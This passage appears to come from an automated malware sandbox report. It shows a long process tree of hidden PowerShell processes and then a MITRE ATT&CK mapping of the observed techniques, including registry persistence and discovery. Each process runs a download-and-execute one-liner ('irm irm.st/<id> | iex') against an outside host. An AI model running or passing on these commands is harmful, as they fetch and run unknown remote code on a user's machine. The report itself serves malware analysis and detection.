  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/554752 | iex"
  2⤵
  PID:3748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/186026 | iex"
1⤵
PID:6028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/186026 | iex"
  2⤵
  PID:2092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/570969 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/570969 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/429350 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/429350 | iex"
  2⤵
  PID:2004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/996826 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/996826 | iex"
  2⤵
  PID:4952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/696190 | iex"
1⤵
PID:3788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/696190 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/525937 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/525937 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/332866 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/332866 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/409648 | iex"
1⤵
PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/409648 | iex"
  2⤵
  PID:2752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/878985 | iex"
1⤵
PID:4220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/878985 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/379202 | iex"
1⤵
PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/379202 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/732523 | iex"
1⤵
PID:2760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/732523 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/340563 | iex"
1⤵
PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/340563 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/820704 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/820704 | iex"
  2⤵
  PID:5784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/387162 | iex"
1⤵
PID:3056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/387162 | iex"
  2⤵
  PID:5616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/319968 | iex"
1⤵
PID:5904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/319968 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/532685 | iex"
1⤵
PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/532685 | iex"
  2⤵
  PID:4508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/622513 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/622513 | iex"
  2⤵
  PID:4284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/516661 | iex"
1⤵
PID:3668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/516661 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/347207 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/347207 | iex"
  2⤵
  PID:4720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/867663 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/867663 | iex"
  2⤵
  PID:5380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/453465 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/453465 | iex"
  2⤵
  PID:5188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/344962 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/344962 | iex"
  2⤵
  PID:2220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/663252 | iex"
1⤵
PID:5876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/663252 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/113507 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/113507 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3236

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/756957 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/756957 | iex"
  2⤵
  PID:1244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/828691 | iex"
1⤵
PID:1980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/828691 | iex"
  2⤵
  PID:3560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/936736 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/936736 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/754596 | iex"
1⤵
PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/754596 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/774454 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/774454 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/741025 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/741025 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/892539 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/892539 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/417251 | iex"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/417251 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/152658 | iex"
1⤵
PID:5608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/152658 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...